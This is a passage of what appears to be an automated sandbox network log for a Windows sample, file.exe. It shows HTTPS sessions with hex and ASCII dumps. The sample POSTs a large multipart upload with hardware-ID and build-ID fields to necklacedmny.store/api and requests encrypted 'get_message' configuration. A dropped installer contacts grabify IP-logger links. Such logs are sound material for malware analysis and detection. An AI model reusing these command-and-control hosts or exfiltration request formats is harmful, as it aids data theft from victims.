form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 01:08:07 UTC	1024	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:08:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ebq2mjavvhbb8l46ui9qrrq7ok; expires=Sun, 23-Feb-2025 18:54:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ciNMne9Ccdl%2BYKrF812gbhktGdPpS%2F9Aap3XgKEuQbsFbSpyR6le%2BPjeq%2BQ%2FC%2FIFR5qFp3nAa3a8zjI9KMNUk3DADuxxhOPORwt94bFKziQJ2EAQfwF%2FhBTnkISViVKuDX%2BQT6E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dafc089d94b6c58-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1106&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2181&delivery_rate=2529257&cwnd=106&unsent_bytes=0&cid=3445fe44501600b3&ts=500&x=0"
2024-10-31 01:08:07 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 01:08:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49710	188.114.97.3	443	7112	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:08:09 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 585903 Host: necklacedmny.store
2024-10-31 01:08:09 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 33 33 43 43 45 32 45 39 42 43 31 30 36 46 43 46 36 45 34 30 42 46 46 31 33 35 42 36 44 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E33CCE2E9BC106FCF6E40BFF135B6DCE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 01:08:09 UTC	15331	OUT	Data Raw: 10 5d 79 e4 ef 92 bf a4 b4 78 92 a3 a2 1c 2c 08 fc 2c e2 9a 03 04 c0 1b 21 3b b5 5a 70 3d c4 e9 c0 98 c6 ed 0a d1 75 8d fa 6d e6 d6 23 09 01 79 b1 65 2c e1 5e a8 b9 5e 80 30 49 8a 54 69 f2 2e b0 b4 6c e7 7e 79 5a b9 49 90 90 de f9 ea 71 21 0b 23 55 d8 f7 e0 13 e6 bb 42 87 3e 2e 4f 9c 56 8e ae 12 04 62 95 93 cf f3 01 75 aa 01 ab 5d 7e 6a c1 a1 d7 e0 d7 d3 d5 4a d7 ff e4 50 b0 38 67 e4 f5 83 50 57 51 d6 e2 6f 6a fb 63 f8 a3 13 0c e0 8b f2 ad b6 07 e5 6d 90 9f fb 05 ec dc 98 1d cf 74 59 ff f3 07 65 ee cc 2a bf bb 95 c0 64 37 24 8f 8c de 1b 7b c0 7e a4 ab d4 29 b0 37 ff 2d b4 1d 75 79 0c d8 25 5f fe b7 a1 b3 ae 1a e1 07 1d 60 0e 87 88 4d 6a 3e 02 38 5e 89 00 49 a6 69 83 39 1a eb 9f cc 2a a0 04 48 a2 b8 3b 28 21 fb e3 e0 ad 4d ca 85 4e 3b 88 b9 4f ae 5f 18 38 Data Ascii: ]yx,,!;Zp=um#ye,^^0ITi.l~yZIq!#UB>.OVbu]~jJP8gPWQojcmtYed7${~)7-uy%_`Mj>8^Ii9H;(!MN;O_8
2024-10-31 01:08:09 UTC	15331	OUT	Data Raw: dd 76 19 49 51 22 fd 13 e5 fb 65 d3 d8 40 83 b2 d7 f4 ce b2 5f f7 df 87 fb 65 c7 c5 c6 6e 68 9d 47 3e ae 9b e7 20 c2 73 5d 16 7d 9e a3 8b 3a ba 26 cb bc b0 b3 1d fd d7 1e 42 36 6d 81 d8 f6 c1 5c ea d7 a8 12 5d ec 6d 3e 65 56 d0 57 00 9c dd a6 07 b9 77 76 cc 30 9c 36 2b 07 96 2a 77 2c d8 1f e0 b5 0f 05 8f 27 2e dc 54 bc 4c af 5b 9f 5f 1c 34 d3 5b 5c d1 a1 ff d1 02 88 9d 8b 51 47 b4 82 72 32 fd 5f 98 6c 4c 3d 75 be 3a 9c a0 b2 b7 7a a6 be db 64 4f 56 d5 36 34 fc 80 41 a4 24 a1 40 bc 99 57 5b 8d f5 20 43 9e 1b ca eb a6 0f fd ef 39 95 a7 01 7d f7 6f ed f1 d0 0b 02 11 17 40 f8 d0 cd 70 0f c0 96 7d 0a c0 49 33 d0 1f 0e fa af cf f8 20 df 16 03 0a cf 89 db fc bf 87 f3 24 1d 15 b0 79 2d 8a a0 67 41 a8 b1 a2 89 21 00 f0 18 e1 66 90 d5 50 5b dd d4 58 8e 0e 60 3e a8 Data Ascii: vIQ"e@_enhG> s]}:&B6m\]m>eVWwv06+*w,'.TL[_4[\QGr2_lL=u:zdOV64A$@W[ C9}o@p}I3 $y-gA!fP[X`>
2024-10-31 01:08:09 UTC	15331	OUT	Data Raw: fe ee 61 a9 f2 1c 15 8a e0 e1 e7 b0 93 b2 4a d7 07 ed 7a 4a 68 27 60 59 95 6b 62 fc 56 75 47 cc 0c 95 bf 2a dd cb 04 ed 65 82 c5 d2 76 4c 21 07 60 a9 93 1d 5a 03 78 94 6d d4 27 56 54 10 e4 a2 3e 88 54 8c 17 47 ef d9 cd 2e 3c ca e4 3b 7c 64 bc 82 ae 30 d3 92 25 af a4 e0 1c e6 00 ae c0 32 eb 8c fc 05 1c 62 7b 8d 41 83 cb 2d 84 df 3d fa 99 ed 64 ae 53 aa 07 4f f2 53 38 ad 2b 4c 8a 03 ff c2 ca 57 ec c6 4a fd ab 03 56 cb 2a be a9 92 b6 d4 02 1c 53 aa 9f 9f 7c f0 83 73 10 1c 09 b9 24 02 78 9b 32 48 a4 21 41 1a d8 a5 5c cc 08 14 6a b2 37 76 54 f3 cd 0a b2 94 ae e9 2e 03 84 fd db 5a 51 f3 ec 85 12 c1 d7 62 40 f4 e0 d5 11 47 65 b0 d1 c3 09 e6 48 72 57 67 7d 8a 3e b0 a6 85 38 5b e8 8a 75 55 6a 59 0e 37 f2 9b 5f cf 67 f6 64 c1 7c 6b b0 59 bd f7 1f ae c1 57 6e 7c 8f Data Ascii: aJzJh'`YkbVuGevL!`Zxm'VT>TG.<;\|d0%2b{A-=dSOS8+LWJVS\|s$x2H!A\j7vT.ZQb@GeHrWg}>8[uUjY7_gd\|kYWn\|
2024-10-31 01:08:09 UTC	15331	OUT	Data Raw: 1e a3 d3 43 3c e7 ae c9 a5 9c 54 e8 e6 cb 4b 12 5e 68 6b 8c 9a e4 f7 a3 37 e4 24 13 bf e3 d0 40 4b 42 30 36 66 0f c6 8b 75 91 81 6a 8f 09 35 35 2d 87 95 1e 8c 3a a9 20 b3 be af 7d ac 5a 9f 63 ea dd ae 8f e0 e3 0e 3a e1 3b de 7f 58 66 7b fe 13 03 2f bf fb 7a ce 44 76 ac cb 9d a2 cf a7 75 45 ee 3f d4 23 38 38 d0 7a 1a 6f 1e 22 0e ef 6f d6 08 27 1c 3c 3c f3 9b 76 d4 32 27 32 91 11 5f 60 2c 30 2e 56 63 af 9b b7 70 66 34 4b 5f c0 cb 57 43 3e 9a 7f 25 bf 43 fd f8 ee 76 38 5e 60 97 d6 e5 d3 c4 cc 08 fc f3 7b ed 5d b9 cb 9c 12 c1 13 f3 3e 97 9d a3 30 c3 d0 3d 79 8c a0 14 62 bd 21 33 98 5d ac 91 fb 42 0a 8f 39 07 f2 f6 08 46 29 53 2a 2e da f5 47 21 16 12 67 6b f5 15 bd ff ef 54 fd ff ef 02 a9 90 e5 09 98 10 1c 58 ad a3 29 fa 40 0b 0e 8d c7 f4 83 b7 ad 20 95 58 87 Data Ascii: C<TK^hk7$@KB06fuj55-: }Zc:;Xf{/zDvuE?#88zo"o'<<v2'2_`,0.Vcpf4K_WC>%Cv8^`{]>0=yb!3]B9F)S*.G!gkTX)@ X
2024-10-31 01:08:09 UTC	15331	OUT	Data Raw: dc 57 d9 d5 30 85 f8 8a f5 b0 13 8e 9f bd 61 ab 4f 7b 13 42 bd c8 5f 2d 04 67 92 d8 bc fa c0 27 b7 a1 19 b5 c5 c2 f5 6f a6 07 c9 96 dc e7 9c 94 d2 fe 11 c2 9b 99 42 8d bd 52 6f 68 c9 bb 1d 75 2e df 2d 7e f7 5a 17 4d a6 eb 80 ba f0 98 d9 8b b3 d4 65 be a1 7c 54 f8 59 c2 a3 3d 1e 41 a9 48 13 85 aa 6b 3e ec e4 c1 b0 b1 d8 36 fb 21 03 1e 94 db 72 64 3d e5 b9 93 87 cf 46 72 0d f1 0c f5 f9 bb b8 93 af 47 05 70 c8 06 53 86 dc 58 55 02 26 2a 00 07 dc 9a cc 65 28 da 99 b0 87 26 be d0 44 5b 02 7d 7c 86 1a 04 41 dc ab c2 2b 87 a7 c6 02 49 fd aa 73 83 a1 46 4a 3f 9b 36 4c 41 a3 85 6a 62 48 3c 12 5b b2 22 a0 af 87 5c db bc e0 9b 3c 34 9b 14 b3 d3 b7 a8 ba f2 d3 3f 28 b5 97 ea 77 8d e4 94 56 f9 a0 b9 08 b2 7e 95 52 ba 5d 70 62 1f 0a 98 59 fd fd 8e 9e 6b 06 1a 03 4a 01 Data Ascii: W0aO{B_-g'oBRohu.-~ZMe\|TY=AHk>6!rd=FrGpSXU&*e(&D[}\|A+IsFJ?6LAjbH<["\<4?(wV~R]pbYkJ
2024-10-31 01:08:09 UTC	15331	OUT	Data Raw: 2b eb 5d 89 9a cc 13 88 e8 93 68 2a 08 eb 71 a1 56 33 2b 98 71 4b c7 ee 89 ea c6 dd db ff b9 e0 91 38 8d 7f 89 5f 35 56 89 c6 b3 2c bc d6 7b 05 af b9 e3 c5 d7 2a 30 3c 62 19 e1 11 bd 2a b4 e4 20 c0 d0 36 c8 eb 3e 02 de 1f 55 15 58 58 9e 5c ce aa d1 8d c1 cc 5a 0e 9b 48 23 49 ff 52 52 d6 90 d7 99 2a 11 a2 74 cb e5 64 8a 11 c0 37 13 a9 15 b6 65 3e 67 63 89 55 87 b7 7b be 53 64 77 d2 5b 86 3b df 27 6a f9 96 7a 72 e6 dd 39 3e f4 a5 c5 cf 94 75 f7 77 3f d4 17 7f 02 52 86 0f 23 49 ff 05 82 b6 3f a0 f4 4a cf 8e 18 92 66 7e d7 cb e5 16 f0 30 d2 02 4b cd 9b f6 7e 13 df 39 42 c5 e4 4c 4c 88 29 0e b0 8b 6f 65 bc e8 cc d9 4c fe 6e ab 04 65 d9 64 78 7f f7 4d 47 81 3f 65 48 4e fe 9b ab 20 a3 cd 12 07 3e 8d 70 51 0b 4f 97 25 7e f6 bd 0d 97 a8 34 ff 00 a1 12 e6 9a 7f 30 Data Ascii: +]hqV3+qK8_5V,{0<b* 6>UXX\ZH#IRR*td7e>gcU{Sdw[;'jzr9>uw?R#I?Jf~0K~9BLL)oeLnedxMG?eHN >pQO%~40
2024-10-31 01:08:09 UTC	15331	OUT	Data Raw: 2a ac df fd 6e e1 4e 42 cb ba 8f 27 bb 6a ae 1f 07 df 32 f4 17 08 84 c0 ca f6 6a 15 e6 57 d9 2d bc df b1 ca f2 c1 ec e2 45 ca e2 b2 7a 20 f3 66 05 42 c8 8b c8 17 25 14 9c ea f4 2d 13 fc 08 d8 c9 d7 a7 f5 e4 97 9e 5a 50 8d 20 d2 b9 56 3b 24 3e 3d 64 41 bd 0d 07 bd 04 0c 0c 66 d6 3b 9a 59 8e 07 79 bb a4 c0 5e e6 d1 86 7a 77 40 d9 87 cf 88 8d 1e 10 01 85 d9 ab fe ad 47 cc 18 af 04 c0 9e 16 58 1d 9f 79 0c 38 89 63 03 9f 8a 75 cd f0 80 03 3c ae 58 e0 72 18 b6 07 76 a3 23 70 29 e6 a5 18 fe cc 3b da b7 51 1f b7 e8 57 5d 04 70 89 9d ae cc 7e 78 6d b0 c9 8c 80 b2 ff 4c e1 83 c6 8f 91 d1 1c ff fd 78 15 86 4a ab 89 5c fb 4f cc 0e c6 ad 0b 4a 58 80 49 93 6d 34 22 1b ac 3a 61 4e 01 b2 39 39 21 c9 53 82 72 12 a0 88 19 f2 d5 07 cc c9 97 c8 4c 65 28 c7 e0 f7 fd 81 b3 a6 Data Ascii: *nNB'j2jW-Ez fB%-ZP V;$>=dAf;Yy^zw@GXy8cu<Xrv#p);QW]p~xmLxJ\OJXIm4":aN99!SrLe(
2024-10-31 01:08:09 UTC	15331	OUT	Data Raw: e7 8e ea 99 a3 3f ea 1c 96 92 f2 de 89 c2 bb 7b 13 0e 6b b8 fd 1d 57 73 36 8f 5a 8c c1 68 46 6b 37 32 a6 f0 0e 20 ec 0f a4 58 fb 01 7a 30 ee 7f 95 76 92 d4 89 22 cf 20 65 15 46 e7 1b e9 2b 01 ad 90 ac 9b 84 1e 5b 67 79 4b 1c 69 88 a6 67 db b4 8d 02 68 8c 18 dd 3a a7 35 3c 5a ef dc c4 48 a7 a4 62 87 6c 74 f2 16 92 c6 c5 6f f1 49 22 76 21 a5 ec 9c 06 a9 1d 42 f3 e2 02 be 16 57 43 af c4 50 2d aa f4 36 d4 93 46 39 f2 fd 2d 1f f1 41 98 67 be 4f 9f 26 81 ba f7 80 56 fb 46 e5 cc 0f 92 dd 11 d3 a9 cd af c1 43 15 3f 48 3a 22 ae 57 20 85 3b 16 75 a3 79 f3 7c d6 b1 26 33 a0 6b e6 cb 20 03 05 ae b4 28 0e d0 5e f3 bc 4f 9f a3 b9 80 18 7f 5e ef 5f e9 c0 6e 92 fd 53 8d 5c 8d f0 be 6b 06 63 75 9d 84 42 5b 72 1b 17 2d c7 bf b2 49 60 3d 92 b8 de 7b c3 c3 05 f3 d7 15 ee e7 Data Ascii: ?{kWs6ZhFk72 Xz0v" eF+[gyKigh:5<ZHbltoI"v!BWCP-6F9-AgO&VFC?H:"W ;uy\|&3k (^O^_nS\kcuB[r-I`={
2024-10-31 01:08:09 UTC	15331	OUT	Data Raw: af ce b0 43 d2 3f de d5 7f d7 43 57 f4 bf f0 13 db f3 f6 15 a2 7e 93 e2 4e 1f 73 90 75 5e 68 0b fb 45 54 85 db 8b 50 9e 24 6f 33 70 82 ac 00 19 b6 6e b4 16 e5 ef dd 0b 5b 54 ad f5 ac cb 5b 3f 98 79 1b c6 7b c6 58 49 ec 59 4f d1 c8 a1 99 2e 29 5f 40 39 9b 07 ca 20 7e 9e 92 1d a2 09 03 f7 9d f9 44 14 5c 51 8c e9 7b 60 97 28 de ff ef 2b d4 55 a9 9e 5a da 87 40 e1 b9 e3 36 74 5a 07 49 05 05 b2 54 2f 50 61 38 1c b5 03 2c a0 d6 76 b1 72 69 54 14 8c 8a 47 d1 f0 30 61 10 ae c0 d8 9b 09 62 df 51 01 b1 c5 1d 00 d8 73 39 88 7f 1b 26 18 43 ea 5b 6d df 47 4e 3a e0 de 5e ab d2 df 1d af 9e 23 dc 72 00 8f 3d 47 71 80 28 5e 3f eb b3 ff 16 7c 20 3c 34 b0 83 05 8c 72 c7 b8 e3 84 cf 61 8b 8a 3a 7e ce d7 d5 82 62 d2 ee 68 68 4d 61 f5 ad 11 c2 03 81 60 63 20 54 97 78 6a 58 63 Data Ascii: C?CW~Nsu^hETP$o3pn[T[?y{XIYO.)_@9 ~D\Q{`(+UZ@6tZIT/Pa8,vriTG0abQs9&C[mGN:^#r=Gq(^?\| <4ra:~bhhMa`c TxjXc
2024-10-31 01:08:10 UTC	1023	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:08:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=shegmc5221t4kasq3ed90odh23; expires=Sun, 23-Feb-2025 18:54:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rdUdnJMRvf3qRvMf%2BvGBaK%2BYAnR8mDmyD43o3PtXYlZt%2B1sP80bo5DzanH5rjnVzvOhS7H4FBfsK3z3ko8GbRKzmxOfBRS1XTn3DGV%2BS4sRwfkDIYQqDO1eNzKhiyGik5S852YU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dafc0962adb2e55-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1604&sent=221&recv=628&lost=0&retrans=0&sent_bytes=2845&recv_bytes=588496&delivery_rate=1658648&cwnd=251&unsent_bytes=0&cid=3dbe6b179f0e9525&ts=1776&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49711	188.114.97.3	443	7112	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:08:12 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-31 01:08:12 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 45 33 33 43 43 45 32 45 39 42 43 31 30 36 46 43 46 36 45 34 30 42 46 46 31 33 35 42 36 44 43 45 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=E33CCE2E9BC106FCF6E40BFF135B6DCE
2024-10-31 01:08:12 UTC	1013	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:08:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u12i6paqei33h6d3nmht88hvhj; expires=Sun, 23-Feb-2025 18:54:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TP1Wr7joJgJysas9XotCZiTLz5eyJjcNXO%2BPpYKaYc3xjY%2FMQw97G28Txem2VijjWYFd9kUxyoQGLeMIbS%2FB4gE1pTvOBvfggL0Sm3w7oU1uj2PeZTfExwi5OWGWMSjL8nhUJdE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dafc0a82a72e5ca-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1157&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=989&delivery_rate=2162808&cwnd=251&unsent_bytes=0&cid=3b2cf7fb4f84af42&ts=531&x=0"
2024-10-31 01:08:12 UTC	214	IN	Data Raw: 64 30 0d 0a 30 6a 76 52 32 4e 62 2f 4d 6b 62 4b 36 57 4e 48 4d 63 55 47 76 52 74 78 37 4e 2f 59 54 65 6c 55 73 4f 58 4d 6e 49 4b 51 6f 2f 36 4a 51 50 4f 74 39 4d 55 51 4c 72 36 64 45 33 31 74 36 6c 71 53 4b 6b 6e 5a 38 65 70 38 33 48 71 42 31 50 2b 79 73 36 62 2f 30 62 31 64 74 34 54 35 6d 31 63 67 35 49 77 62 49 68 50 70 4a 4e 74 76 55 39 62 76 39 47 2b 4d 64 6f 72 56 73 62 44 35 73 74 62 63 36 42 6d 35 72 4b 4b 50 43 42 72 6c 74 55 78 32 43 66 41 6f 6a 79 70 45 77 75 37 70 66 73 64 6c 68 72 6e 6a 38 65 76 2b 78 71 4c 39 53 62 43 32 73 70 42 66 61 4b 2b 52 42 6d 55 64 35 32 44 4a 4f 55 76 63 38 2f 6f 6f 79 32 36 41 6d 4a 45 3d 0d 0a Data Ascii: d00jvR2Nb/MkbK6WNHMcUGvRtx7N/YTelUsOXMnIKQo/6JQPOt9MUQLr6dE31t6lqSKknZ8ep83HqB1P+ys6b/0b1dt4T5m1cg5IwbIhPpJNtvU9bv9G+MdorVsbD5stbc6Bm5rKKPCBrltUx2CfAojypEwu7pfsdlhrnj8ev+xqL9SbC2spBfaK+RBmUd52DJOUvc8/ooy26AmJE=
2024-10-31 01:08:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49989	188.114.97.3	443	1684	C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:09:20 UTC	98	OUT	GET /2qNi2 HTTP/1.1 Connection: Keep-Alive User-Agent: PingStringGoesHere Host: grabify.org
2024-10-31 01:09:20 UTC	1279	IN	HTTP/1.1 302 Found Date: Thu, 31 Oct 2024 01:09:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: 2433972919168589=3; expires=Fri, 31-Oct-2025 01:09:20 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: jasgd1o47akuhs=173.254.250.77; expires=Fri, 31-Oct-2025 01:09:20 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict expires: Thu, 31 Oct 2024 01:09:19 GMT Cache-Control: no-cache location: https://telegram.org/ strict-transport-security: max-age=31536000; preload strict-transport-security: max-age=31536000; preload x-frame-options: SAMEORIGIN cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WlsCmvw0qjFT%2B2Z8V6OlLlLsGjk0aoaY9yDG4zpDM7cYZIPdvJiZEH%2FHg9E6USgq6D2GJrMMZ%2BefrwGbMi4%2B2PvI%2BVxKZcL0VDgICmDk5VmiXTZG%2BdNomAX0OsArzQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dafc25188c6e9ca-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1943&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2825&recv_bytes=712&delivery_rate=1458942&cwnd=249&unsent_bytes=0&cid=7242b69f75f47817&ts=801&x=0"
2024-10-31 01:09:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49991	149.154.167.99	443	1684	C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:09:21 UTC	94	OUT	GET / HTTP/1.1 Connection: Keep-Alive User-Agent: PingStringGoesHere Host: telegram.org
2024-10-31 01:09:22 UTC	447	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 31 Oct 2024 01:09:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 19619 Connection: close Set-Cookie: stel_ssid=fb0943a4a067eed853_5081393241888327703; expires=Thu, 31 Oct 2024 12:16:02 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2024-10-31 01:09:22 UTC	15937	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 20 4d 65 73 73 65 6e 67 65 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 54 65 6c 65 67 72 61 6d 20 e2 80 93 20 61 20 6e 65 77 20 65 72 61 20 6f 66 20 6d 65 73 73 61 67 69 6e 67 Data Ascii: <!DOCTYPE html><html class=""> <head> <meta charset="utf-8"> <title>Telegram Messenger</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta property="og:title" content="Telegram a new era of messaging
2024-10-31 01:09:22 UTC	3682	IN	Data Raw: 61 73 73 3d 22 74 6c 5f 6d 61 69 6e 5f 63 61 72 64 5f 6c 65 61 64 22 3e 3c 62 3e 54 65 6c 65 67 72 61 6d 3c 2f 62 3e 20 6b 65 65 70 73 20 79 6f 75 72 20 6d 65 73 73 61 67 65 73 20 73 61 66 65 20 66 72 6f 6d 20 68 61 63 6b 65 72 20 61 74 74 61 63 6b 73 2e 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 6c 5f 6d 61 69 6e 5f 63 61 72 64 5f 63 65 6c 6c 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 6c 5f 6d 61 69 6e 5f 63 61 72 64 5f 77 72 61 70 22 3e 0a 20 20 20 20 20 20 20 20 3c 70 69 63 74 75 72 65 20 63 6c 61 73 73 3d 22 64 65 76 5f 70 61 67 65 5f 74 67 73 74 69 63 6b 65 72 20 74 6c 5f 6d 61 69 6e 5f 63 61 72 64 5f 61 6e 69 6d 61 74 65 64 Data Ascii: ass="tl_main_card_lead"><b>Telegram</b> keeps your messages safe from hacker attacks.</div> </div> </div> <div class="tl_main_card_cell"> <div class="tl_main_card_wrap"> <picture class="dev_page_tgsticker tl_main_card_animated

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49992	104.26.9.202	443	1684	C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:09:23 UTC	97	OUT	GET /0L502C HTTP/1.1 Connection: Keep-Alive User-Agent: InstallFromUser Host: grabify.link
2024-10-31 01:09:23 UTC	1279	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 31 Oct 2024 01:09:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private Location: https://www.google.com/ X-Robots-Tag: noindex, nofollow x-content-type-options: nosniff x-abuse: abuse@grabify.link X-RateLimit-Limit: 15 X-RateLimit-Remaining: 14 Set-Cookie: 